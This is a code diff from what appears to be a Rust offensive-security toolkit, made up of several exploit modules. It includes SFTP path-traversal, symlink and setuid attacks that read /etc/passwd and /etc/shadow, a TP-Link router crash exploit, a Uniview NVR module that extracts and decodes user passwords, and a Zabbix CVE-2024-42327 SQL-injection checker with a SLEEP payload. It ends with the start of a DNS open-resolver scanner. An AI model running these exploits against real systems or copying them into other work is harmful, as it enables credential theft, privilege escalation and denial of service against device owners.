let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
let sftp = sess.sftp().context("SFTP initialization failed")?;
|
||||
|
||||
let traversal_paths = vec![
|
||||
target_path.to_string(),
|
||||
format!("../../../..{}", target_path),
|
||||
format!("....//....//....//..../{}", target_path),
|
||||
format!("/..{}", target_path),
|
||||
format!("/./{}", target_path),
|
||||
];
|
||||
|
||||
for path in &traversal_paths {
|
||||
println!("{}", format!("[*] Trying: {}", path).cyan());
|
||||
|
||||
match sftp.open(Path::new(path)) {
|
||||
Ok(mut file) => {
|
||||
let mut content = String::new();
|
||||
if file.read_to_string(&mut content).is_ok() {
|
||||
println!("{}", "[VULN] Path traversal successful!".red().bold());
|
||||
println!();
|
||||
let preview: String = content.chars().take(200).collect();
|
||||
println!("{}", preview);
|
||||
println!();
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
let err_str = e.to_string();
|
||||
if err_str.contains("Permission denied") {
|
||||
println!("{}", "[*] Permission denied (chroot may be working)".dimmed());
|
||||
} else if err_str.contains("No such file") {
|
||||
println!("{}", "[*] File not found".dimmed());
|
||||
} else {
|
||||
println!("{}", format!("[*] Blocked: {}", e).dimmed());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!("{}", "[-] Path traversal blocked".yellow());
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// SFTP Partial Write Attack - Exploit atomicity issues in writes
|
||||
///
|
||||
/// Vulnerability: sftp-server.c process_write() may not complete writes atomically.
|
||||
pub async fn attack_sftp_partial_write(
|
||||
host: &str,
|
||||
port: u16,
|
||||
username: &str,
|
||||
password: Option<&str>,
|
||||
keyfile: Option<&str>,
|
||||
) -> Result<bool> {
|
||||
println!("{}", format!("[*] SFTP Partial Write Attack on {}", host).cyan());
|
||||
|
||||
let (_, sess) = create_ssh_session(host, port, username, password, keyfile, DEFAULT_TIMEOUT_SECS)?;
|
||||
|
||||
let sftp = sess.sftp().context("SFTP initialization failed")?;
|
||||
|
||||
let test_file = format!("/tmp/partial_write_test_{}", std::process::id());
|
||||
|
||||
println!("{}", "[*] Testing partial write scenarios...".cyan());
|
||||
|
||||
// Test 1: Large write that might be split
|
||||
let large_data = vec![b'A'; 1024 * 1024]; // 1MB
|
||||
|
||||
match sftp.create(Path::new(&test_file)) {
|
||||
Ok(mut file) => {
|
||||
match file.write_all(&large_data) {
|
||||
Ok(_) => {
|
||||
// Verify write completed
|
||||
match sftp.stat(Path::new(&test_file)) {
|
||||
Ok(stat) => {
|
||||
if let Some(size) = stat.size {
|
||||
if size as usize == large_data.len() {
|
||||
println!("{}", format!("[+] Full write completed: {} bytes", size).green());
|
||||
} else {
|
||||
println!("{}", format!("[VULN] Partial write! Expected {}, got {}", large_data.len(), size).red().bold());
|
||||
let _ = sftp.unlink(Path::new(&test_file));
|
||||
return Ok(true);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[!] Stat failed: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[*] Write test: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
println!("{}", format!("[-] Create failed: {}", e).red());
|
||||
}
|
||||
}
|
||||
|
||||
// Cleanup
|
||||
let _ = sftp.unlink(Path::new(&test_file));
|
||||
|
||||
println!("{}", "[*] Partial write testing complete".cyan());
|
||||
println!("{}", "[*] Note: Race conditions require concurrent access testing".yellow());
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
/// Prompt helper
|
||||
fn prompt(message: &str) -> Result<String> {
|
||||
print!("{}: ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
Ok(input.trim().to_string())
|
||||
}
|
||||
|
||||
fn prompt_default(message: &str, default: &str) -> Result<String> {
|
||||
print!("{} [{}]: ", message, default);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(default.to_string())
|
||||
} else {
|
||||
Ok(trimmed.to_string())
|
||||
}
|
||||
}
|
||||
|
||||
fn prompt_optional(message: &str) -> Result<Option<String>> {
|
||||
print!("{} (leave empty to skip): ", message);
|
||||
std::io::stdout().flush()?;
|
||||
let mut input = String::new();
|
||||
std::io::stdin().read_line(&mut input)?;
|
||||
let trimmed = input.trim();
|
||||
if trimmed.is_empty() {
|
||||
Ok(None)
|
||||
} else {
|
||||
Ok(Some(trimmed.to_string()))
|
||||
}
|
||||
}
|
||||
|
||||
/// Main entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let host = normalize_target(target);
|
||||
println!("{}", format!("[*] Target: {}", host).cyan());
|
||||
|
||||
// Get connection parameters
|
||||
let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(22);
|
||||
let username = prompt("Username")?;
|
||||
if username.is_empty() {
|
||||
return Err(anyhow!("Username is required"));
|
||||
}
|
||||
|
||||
let password = prompt_optional("Password")?;
|
||||
let keyfile = prompt_optional("SSH Key File Path")?;
|
||||
|
||||
if password.is_none() && keyfile.is_none() {
|
||||
return Err(anyhow!("Either password or keyfile is required"));
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "Select attack mode:".yellow().bold());
|
||||
println!(" 1. Symlink Injection (read sensitive files)");
|
||||
println!(" 2. Setuid Bit Attack (privilege escalation)");
|
||||
println!(" 3. Path Traversal (escape chroot)");
|
||||
println!(" 4. Partial Write Test (race condition)");
|
||||
println!(" 5. Run All Attacks");
|
||||
println!();
|
||||
|
||||
let mode = prompt_default("Attack mode", "5")?;
|
||||
|
||||
let password_ref = password.as_deref();
|
||||
let keyfile_ref = keyfile.as_deref();
|
||||
|
||||
match mode.as_str() {
|
||||
"1" => {
|
||||
let target_file = prompt_default("Target file to read", "/etc/passwd")?;
|
||||
attack_sftp_symlink(&host, port, &username, password_ref, keyfile_ref, &target_file, None).await?;
|
||||
}
|
||||
"2" => {
|
||||
attack_sftp_setuid(&host, port, &username, password_ref, keyfile_ref, None).await?;
|
||||
}
|
||||
"3" => {
|
||||
let target_path = prompt_default("Target path", "/etc/passwd")?;
|
||||
attack_sftp_traversal(&host, port, &username, password_ref, keyfile_ref, &target_path).await?;
|
||||
}
|
||||
"4" => {
|
||||
attack_sftp_partial_write(&host, port, &username, password_ref, keyfile_ref).await?;
|
||||
}
|
||||
"5" | _ => {
|
||||
println!();
|
||||
println!("{}", "=== Running All SFTP Attacks ===".yellow().bold());
|
||||
println!();
|
||||
|
||||
println!("{}", "--- Attack 1: Symlink Injection ---".cyan());
|
||||
let _ = attack_sftp_symlink(&host, port, &username, password_ref, keyfile_ref, "/etc/passwd", None).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 2: Setuid Bit ---".cyan());
|
||||
let _ = attack_sftp_setuid(&host, port, &username, password_ref, keyfile_ref, None).await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 3: Path Traversal ---".cyan());
|
||||
let _ = attack_sftp_traversal(&host, port, &username, password_ref, keyfile_ref, "/etc/shadow").await;
|
||||
|
||||
println!();
|
||||
println!("{}", "--- Attack 4: Partial Write ---".cyan());
|
||||
let _ = attack_sftp_partial_write(&host, port, &username, password_ref, keyfile_ref).await;
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] SFTP attack module complete".green());
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
@@ -13,11 +13,23 @@
|
||||
|
||||
use anyhow::Result;
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
use reqwest::{Client, header::HeaderMap};
|
||||
use std::io;
|
||||
use colored::*;
|
||||
use reqwest::{header::HeaderMap, Client};
|
||||
use std::io::{self, Write};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
const DEFAULT_PORT: u16 = 8082;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ TP-Link TL-WR740N Buffer Overflow DoS Exploit ║".cyan());
|
||||
println!("{}", "║ Crashes router web server via crafted ping request ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Normalize IP to handle IPv6 and multiple brackets
|
||||
fn normalize_ip(ip: &str) -> String {
|
||||
// Remove all surrounding brackets
|
||||
@@ -47,6 +59,8 @@ async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<
|
||||
payload = payload
|
||||
);
|
||||
|
||||
println!("{}", format!("[*] Sending exploit payload to {}:{}", ip, port).yellow());
|
||||
|
||||
// Build basic auth header
|
||||
let credentials = format!("{username}:{password}");
|
||||
let encoded_credentials = general_purpose::STANDARD.encode(credentials.as_bytes());
|
||||
@@ -65,28 +79,32 @@ async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<
|
||||
|
||||
let client = Client::builder()
|
||||
.default_headers(headers)
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()?;
|
||||
|
||||
let response = client.get(&target_url).send().await?;
|
||||
|
||||
if response.status().as_u16() == 200 {
|
||||
println!("[+] Server Crashed (200 OK received)");
|
||||
println!("{}", "[+] Exploit sent successfully (200 OK received)".green().bold());
|
||||
let body = response.text().await.unwrap_or_default();
|
||||
println!("{}", body);
|
||||
if !body.is_empty() {
|
||||
println!("{}", body);
|
||||
}
|
||||
} else {
|
||||
println!(
|
||||
"[-] Script Completed with status code: {}",
|
||||
response.status()
|
||||
"{}",
|
||||
format!("[-] Request completed with status code: {}", response.status()).yellow()
|
||||
);
|
||||
}
|
||||
|
||||
// Check if the host is still up — timeout after 1 second
|
||||
println!("{}", "[*] Checking if target is still reachable...".cyan());
|
||||
match timeout(Duration::from_secs(1), TcpStream::connect((ip.trim_matches(&['[', ']'][..]), port))).await {
|
||||
Ok(Ok(_)) => {
|
||||
println!("[!] Target still responds on port {}. DoS likely failed.", port);
|
||||
println!("{}", format!("[!] Target still responds on port {}. DoS may have failed.", port).yellow());
|
||||
}
|
||||
_ => {
|
||||
println!("[+] Target no longer reachable on port {} — likely crashed. Returning to menu.", port);
|
||||
println!("{}", format!("[+] Target no longer reachable on port {} — likely crashed!", port).green().bold());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -95,20 +113,32 @@ async fn execute(ip: &str, port: u16, username: &str, password: &str) -> Result<
|
||||
|
||||
/// Entry point required by auto-dispatch
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("Enter router port (default is 8082): ");
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
print!("{}", format!("Enter router port (default {}): ", DEFAULT_PORT).cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut port_str = String::new();
|
||||
io::stdin().read_line(&mut port_str)?;
|
||||
let port: u16 = port_str.trim().parse().unwrap_or(8082);
|
||||
let port: u16 = port_str.trim().parse().unwrap_or(DEFAULT_PORT);
|
||||
|
||||
println!("Enter username: ");
|
||||
print!("{}", "Enter username: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut username = String::new();
|
||||
io::stdin().read_line(&mut username)?;
|
||||
let username = username.trim();
|
||||
|
||||
println!("Enter password: ");
|
||||
print!("{}", "Enter password: ".cyan().bold());
|
||||
io::stdout().flush()?;
|
||||
let mut password = String::new();
|
||||
io::stdin().read_line(&mut password)?;
|
||||
let password = password.trim();
|
||||
|
||||
if username.is_empty() || password.is_empty() {
|
||||
println!("{}", "[-] Username and password are required".red());
|
||||
return Err(anyhow::anyhow!("Username and password are required"));
|
||||
}
|
||||
|
||||
execute(target, port, username, password).await
|
||||
}
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use quick_xml::events::Event;
|
||||
use quick_xml::name::QName;
|
||||
use quick_xml::Reader;
|
||||
@@ -8,6 +9,16 @@ use std::fs::OpenOptions;
|
||||
use std::io::Write;
|
||||
use std::time::Duration;
|
||||
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Uniview NVR Remote Password Disclosure ║".cyan());
|
||||
println!("{}", "║ Extracts and decodes user credentials from NVR ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
/// Reverses the Uniview custom encoded password
|
||||
fn decode_pass(encoded: &str) -> String {
|
||||
let map: HashMap<&str, &str> = [
|
||||
@@ -89,20 +100,21 @@ fn normalize_target(raw: &str) -> String {
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\nUniview NVR remote passwords disclosure!");
|
||||
println!("Author: B1t (ported to Rust)\n");
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
// Normalize URL (scheme, IPv6 brackets, port, path)
|
||||
let target = normalize_target(target);
|
||||
|
||||
let client = Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_secs(10))
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.build()
|
||||
.context("Failed to build HTTP client")?;
|
||||
|
||||
// Fetch version info
|
||||
println!("[+] Getting model name and software version...");
|
||||
println!("{}", "[*] Getting model name and software version...".cyan());
|
||||
let version_url = format!("{}/cgi-bin/main-cgi?json={{\"cmd\":116}}", target);
|
||||
let version_text = client
|
||||
.get(&version_url)
|
||||
@@ -121,8 +133,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
.and_then(|s| s.split('"').next())
|
||||
.unwrap_or("Unknown");
|
||||
|
||||
println!("Model: {}", model);
|
||||
println!("Software Version: {}", sw_ver);
|
||||
println!("{}", format!("[+] Model: {}", model).green());
|
||||
println!("{}", format!("[+] Software Version: {}", sw_ver).green());
|
||||
|
||||
// Prepare log file
|
||||
let mut log = OpenOptions::new()
|
||||
@@ -137,7 +149,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
writeln!(log, "Software Version: {}", sw_ver).ok();
|
||||
|
||||
// Fetch user config
|
||||
println!("\n[+] Getting configuration file...");
|
||||
println!("{}", "\n[*] Getting configuration file...".cyan());
|
||||
let config_url = format!(
|
||||
"{}/cgi-bin/main-cgi?json={{\"cmd\":255,\"szUserName\":\"\",\"u32UserLoginHandle\":8888888888}}",
|
||||
target
|
||||
@@ -155,7 +167,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let mut buf = Vec::new();
|
||||
let mut total_users = 0;
|
||||
|
||||
println!("\nUser | Stored Hash | Reversible Password");
|
||||
println!();
|
||||
println!("{}", "User | Stored Hash | Reversible Password".cyan().bold());
|
||||
println!("{}", "_".repeat(80));
|
||||
writeln!(log, "\nUser | Stored Hash | Reversible Password").ok();
|
||||
writeln!(log, "{}", "_".repeat(80)).ok();
|
||||
@@ -177,7 +190,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
|
||||
let decoded = decode_pass(&revpass);
|
||||
println!("{:<9}| {:<38}| {}", username, user_hash, decoded);
|
||||
println!("{}", format!("{:<9}| {:<38}| {}", username, user_hash, decoded).green());
|
||||
writeln!(log, "{:<9}| {:<38}| {}", username, user_hash, decoded).ok();
|
||||
|
||||
total_users += 1;
|
||||
@@ -189,9 +202,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
buf.clear();
|
||||
}
|
||||
|
||||
println!("\n[+] Total users: {}", total_users);
|
||||
println!();
|
||||
println!("{}", format!("[+] Total users found: {}", total_users).green().bold());
|
||||
writeln!(log, "\n[+] Total users: {}", total_users).ok();
|
||||
println!("\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n");
|
||||
println!("{}", "[*] Results saved to nvr-success.txt".cyan());
|
||||
println!("{}", "[!] Note: 'default' and 'HAUser' users may not be accessible remotely.".yellow());
|
||||
writeln!(log, "\n*Note: 'default' and 'HAUser' users may not be accessible remotely.*\n").ok();
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -1,17 +1,34 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use reqwest::Client;
|
||||
use serde_json::json;
|
||||
use std::fs;
|
||||
use std::io::{self, Write};
|
||||
use std::time::Duration;
|
||||
|
||||
const HEADERS: &str = "application/json";
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 30;
|
||||
|
||||
/// Display module banner
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ Zabbix 7.0.0 SQL Injection Checker ║".cyan());
|
||||
println!("{}", "║ CVE-2024-42327 - Time-based SQL Injection ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
}
|
||||
|
||||
// Internal function renamed to `exploit_zabbix` to avoid conflicts
|
||||
async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload: &str) -> Result<()> {
|
||||
let client = Client::new();
|
||||
let client = Client::builder()
|
||||
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
|
||||
.danger_accept_invalid_certs(true)
|
||||
.build()
|
||||
.map_err(|e| anyhow!("Failed to build HTTP client: {}", e))?;
|
||||
|
||||
let url = format!("{}/api_jsonrpc.php", api_url.trim_end_matches('/'));
|
||||
|
||||
// // Login to get the token
|
||||
// Login to get the token
|
||||
println!("{}", "[*] Attempting to authenticate...".cyan());
|
||||
let login_data = json!({
|
||||
"jsonrpc": "2.0",
|
||||
"method": "user.login",
|
||||
@@ -38,12 +55,15 @@ async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload:
|
||||
|
||||
let auth_token = login_response_json
|
||||
.get("result")
|
||||
.ok_or_else(|| anyhow!("Failed to retrieve auth token"))?
|
||||
.ok_or_else(|| anyhow!("Failed to retrieve auth token - check credentials"))?
|
||||
.as_str()
|
||||
.ok_or_else(|| anyhow!("Auth token not a string"))?
|
||||
.to_string();
|
||||
|
||||
// // SQLi test using the provided payload
|
||||
println!("{}", "[+] Authentication successful".green());
|
||||
|
||||
// SQLi test using the provided payload
|
||||
println!("{}", "[*] Testing for SQL injection vulnerability...".yellow());
|
||||
let sqli_data = json!({
|
||||
"jsonrpc": "2.0",
|
||||
"method": "user.get",
|
||||
@@ -55,6 +75,7 @@ async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload:
|
||||
"auth": auth_token
|
||||
});
|
||||
|
||||
let start = std::time::Instant::now();
|
||||
let test_response = client
|
||||
.post(&url)
|
||||
.header("Content-Type", HEADERS)
|
||||
@@ -63,15 +84,20 @@ async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload:
|
||||
.await
|
||||
.map_err(|e| anyhow!("Test request error: {}", e))?;
|
||||
|
||||
let elapsed = start.elapsed();
|
||||
let test_response_text = test_response
|
||||
.text()
|
||||
.await
|
||||
.map_err(|e| anyhow!("Failed to read test response: {}", e))?;
|
||||
|
||||
println!("{}", format!("[*] Response received in {:.2}s", elapsed.as_secs_f64()).cyan());
|
||||
|
||||
if test_response_text.contains("\"error\"") {
|
||||
println!("[-] NOT VULNERABLE.");
|
||||
println!("{}", "[-] Target does NOT appear vulnerable (error in response).".red());
|
||||
} else if elapsed.as_secs() >= 5 {
|
||||
println!("{}", "[+] VULNERABLE! Response delayed by SLEEP injection.".green().bold());
|
||||
} else {
|
||||
println!("[!] VULNERABLE.");
|
||||
println!("{}", "[?] Inconclusive - response received but no delay detected.".yellow());
|
||||
}
|
||||
|
||||
Ok(())
|
||||
@@ -79,13 +105,13 @@ async fn exploit_zabbix(api_url: &str, username: &str, password: &str, _payload:
|
||||
|
||||
// Prompt user to choose a payload option
|
||||
async fn get_payload_choice() -> Result<String> {
|
||||
println!("Choose SQL payload option:");
|
||||
println!("1: Load SQL payloads from file");
|
||||
println!("2: Enter custom SQL payload");
|
||||
println!("3: Use default SQL payload");
|
||||
println!("{}", "[*] Choose SQL payload option:".cyan().bold());
|
||||
println!(" {} Load SQL payloads from file", "[1]".green());
|
||||
println!(" {} Enter custom SQL payload", "[2]".green());
|
||||
println!(" {} Use default SQL payload (SLEEP-based)", "[3]".green());
|
||||
|
||||
let mut choice = String::new();
|
||||
print!("Enter your choice (1/2/3): ");
|
||||
print!("{}", "Enter your choice (1/2/3): ".cyan().bold());
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin()
|
||||
.read_line(&mut choice)
|
||||
@@ -96,16 +122,17 @@ async fn get_payload_choice() -> Result<String> {
|
||||
match choice {
|
||||
"1" => {
|
||||
// Load from a file (e.g., sql_payloads.txt)
|
||||
println!("Loading SQL payloads from file...");
|
||||
println!("{}", "[*] Loading SQL payloads from file...".cyan());
|
||||
let payloads = fs::read_to_string("sql_payloads.txt")
|
||||
.map_err(|e| anyhow!("Error reading payload file: {}", e))?;
|
||||
println!("{}", "[+] Payloads loaded successfully".green());
|
||||
Ok(payloads.trim().to_string())
|
||||
}
|
||||
"2" => {
|
||||
// Allow user to input a custom payload
|
||||
println!("Enter your custom SQL payload (do not include the SELECT statement, only the payload part): ");
|
||||
let mut custom_payload = String::new();
|
||||
print!("{}", "Enter your custom SQL payload: ".cyan().bold());
|
||||
io::stdout().flush().unwrap();
|
||||
let mut custom_payload = String::new();
|
||||
io::stdin()
|
||||
.read_line(&mut custom_payload)
|
||||
.map_err(|e| anyhow!("Failed to read custom payload: {}", e))?;
|
||||
@@ -114,35 +141,41 @@ async fn get_payload_choice() -> Result<String> {
|
||||
|
||||
// Ensure the custom payload isn't empty
|
||||
if custom_payload.is_empty() {
|
||||
println!("{}", "[-] Custom payload cannot be empty".red());
|
||||
return Err(anyhow!("Custom payload cannot be empty. Please enter a valid payload."));
|
||||
}
|
||||
|
||||
println!("{}", format!("[+] Using custom payload: {}", custom_payload).green());
|
||||
Ok(custom_payload.to_string())
|
||||
}
|
||||
"3" => {
|
||||
// Use a default payload
|
||||
println!("Using default SQL payload...");
|
||||
println!("{}", "[*] Using default SQL payload (SLEEP-based)...".cyan());
|
||||
Ok("readonly AND (SELECT(SLEEP(5)))".to_string())
|
||||
}
|
||||
_ => Err(anyhow!("Invalid choice, please select 1, 2, or 3.")),
|
||||
_ => {
|
||||
println!("{}", "[-] Invalid choice".red());
|
||||
Err(anyhow!("Invalid choice, please select 1, 2, or 3."))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Public dispatch entry point
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Zabbix 7.0.0 SQL Injection Checker (CVE-2024-42327)");
|
||||
println!("[*] Target API URL: {}", target);
|
||||
display_banner();
|
||||
println!("{}", format!("[*] Target API URL: {}", target).yellow());
|
||||
println!();
|
||||
|
||||
let mut username = String::new();
|
||||
let mut password = String::new();
|
||||
|
||||
print!("Username: ");
|
||||
print!("{}", "Username: ".cyan().bold());
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin()
|
||||
.read_line(&mut username)
|
||||
.map_err(|e| anyhow!("Failed to read username: {}", e))?;
|
||||
|
||||
print!("Password: ");
|
||||
print!("{}", "Password: ".cyan().bold());
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin()
|
||||
.read_line(&mut password)
|
||||
@@ -151,6 +184,11 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let username = username.trim();
|
||||
let password = password.trim();
|
||||
|
||||
if username.is_empty() || password.is_empty() {
|
||||
println!("{}", "[-] Username and password are required".red());
|
||||
return Err(anyhow!("Username and password are required"));
|
||||
}
|
||||
|
||||
// Get the payload choice from the user
|
||||
let payload = get_payload_choice().await?;
|
||||
|
||||
|
||||
@@ -0,0 +1,678 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use std::collections::HashSet;
|
||||
use std::fs::File;
|
||||
use std::io::{self, BufRead, BufReader, Write};
|
||||
use std::net::{IpAddr, SocketAddr, ToSocketAddrs};
|
||||
use std::path::Path;
|
||||
use std::time::Duration;
|
||||
use hickory_client::client::{AsyncClient, ClientHandle};
|
||||
use hickory_client::proto::op::ResponseCode;
|
||||
use hickory_client::rr::{DNSClass, Name, RecordType};
|
||||
use hickory_client::udp::UdpClientStream;
|
||||
use hickory_proto::op::Message;
|
||||
use hickory_proto::xfer::DnsResponse;
|
||||
use tokio::net::UdpSocket;
|
||||
|
||||
#[derive(Clone, Debug)]
|
||||
struct TargetSpec {
|
||||
input: String,
|
||||
host: String,
|
||||
port: Option<u16>,
|
||||
}
|
||||
|
||||
fn display_banner() {
|
||||
println!("{}", "╔══════════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ DNS Recursion & Amplification Scanner ║".cyan());
|
||||
println!("{}", "║ Detects open resolvers that may be abused for DoS attacks ║".cyan());
|
||||
println!("{}", "╚══════════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
|
||||
/// Scan DNS resolvers for open recursion with improved input validation.
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
let mut targets = collect_targets(initial_target)?;
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!(
|
||||
"No valid targets provided. Supply at least one IP/hostname."
|
||||
));
|
||||
}
|
||||
|
||||
let needs_default_port = targets.iter().any(|t| t.port.is_none());
|
||||
let default_port = if needs_default_port {
|
||||
prompt_port("Default DNS port for targets without port", 53)?
|
||||
} else {
|
||||
53
|
||||
};
|
||||
|
||||
let default_domain = random_test_domain();
|
||||
let query_name_input = prompt_default("Domain to query", &default_domain)?;
|
||||
let query_name = validate_domain_input(&query_name_input)?;
|
||||
|
||||
let record_input =
|
||||
prompt_default("Record type (A, AAAA, ANY, DNSKEY, TXT, MX)", "ANY")?;
|
||||
let record_type = parse_record_type(&record_input)?;
|
||||
|
||||
println!(
|
||||
"[*] Prepared {} query for {} across {} target(s)",
|
||||
record_type,
|
||||
query_name,
|
||||
targets.len()
|
||||
);
|
||||
|
||||
let name = Name::from_str_relaxed(&query_name)
|
||||
.with_context(|| format!("Invalid domain name '{}'", query_name))?;
|
||||
|
||||
let mut any_success = false;
|
||||
let mut last_error: Option<anyhow::Error> = None;
|
||||
let mut vulnerable_count = 0usize;
|
||||
let mut tested_count = 0usize;
|
||||
let start_time = std::time::Instant::now();
|
||||
|
||||
println!();
|
||||
|
||||
for spec in targets.drain(..) {
|
||||
let port = spec.port.unwrap_or(default_port);
|
||||
let display = format_endpoint(&spec.host, port);
|
||||
println!(
|
||||
"\n[*] Processing target {} (input: {})",
|
||||
display.cyan(),
|
||||
spec.input
|
||||
);
|
||||
|
||||
tested_count += 1;
|
||||
|
||||
match resolve_target(&spec.host, port).await {
|
||||
Ok((socket_addr, resolved_display)) => {
|
||||
println!("{}", format!("[*] Target resolver: {}", resolved_display).cyan());
|
||||
match query_target(socket_addr, &resolved_display, &name, record_type, &mut vulnerable_count).await {
|
||||
Ok(()) => any_success = true,
|
||||
Err(err) => {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!("[!] Query failed for {}: {}", resolved_display, err).red()
|
||||
);
|
||||
last_error = Some(err);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(err) => {
|
||||
eprintln!(
|
||||
"{}",
|
||||
format!("[!] Failed to resolve {}: {}", spec.input, err).red()
|
||||
);
|
||||
last_error = Some(err);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let elapsed = start_time.elapsed();
|
||||
|
||||
// Print statistics
|
||||
println!();
|
||||
println!("{}", "=== Scan Statistics ===".bold());
|
||||
println!(" Targets tested: {}", tested_count);
|
||||
println!(" Vulnerable (open): {}", if vulnerable_count > 0 {
|
||||
vulnerable_count.to_string().red().bold().to_string()
|
||||
} else {
|
||||
"0".green().to_string()
|
||||
});
|
||||
println!(" Duration: {:.2}s", elapsed.as_secs_f64());
|
||||
|
||||
if vulnerable_count > 0 {
|
||||
println!();
|
||||
println!("{}", "[!] WARNING: Open recursive DNS resolvers detected!".red().bold());
|
||||
println!("{}", " These can be abused for DNS amplification attacks.".yellow());
|
||||
}
|
||||
|
||||
if any_success {
|
||||
Ok(())
|
||||
} else {
|
||||
Err(last_error.unwrap_or_else(|| anyhow!("All targets failed.")))
|
||||
}
|
||||
}
|
||||
|
||||
async fn query_target(
|
||||
socket_addr: SocketAddr,
|
||||
display_target: &str,
|
||||
name: &Name,
|
||||
record_type: RecordType,
|
||||
vulnerable_count: &mut usize,
|
||||
) -> Result<()> {
|
||||
println!(
|
||||
"[*] Sending {} query (timeout 5s) to {}",
|
||||
record_type, display_target
|
||||
);
|
||||
|
||||
let timeout = Duration::from_secs(5);
|
||||
let stream = UdpClientStream::<UdpSocket>::with_timeout(socket_addr, timeout);
|
||||
let (mut client, bg) =
|
||||
AsyncClient::connect(stream).await.context("Failed to initiate DNS client")?;
|
||||
tokio::spawn(bg);
|
||||
|
||||
let response: DnsResponse = client
|
||||
.query(name.clone(), DNSClass::IN, record_type)
|
||||
.await
|
||||
.with_context(|| format!("DNS query to {} failed", display_target))?;
|
||||
|
||||
let (message, _) = response.into_parts();
|
||||
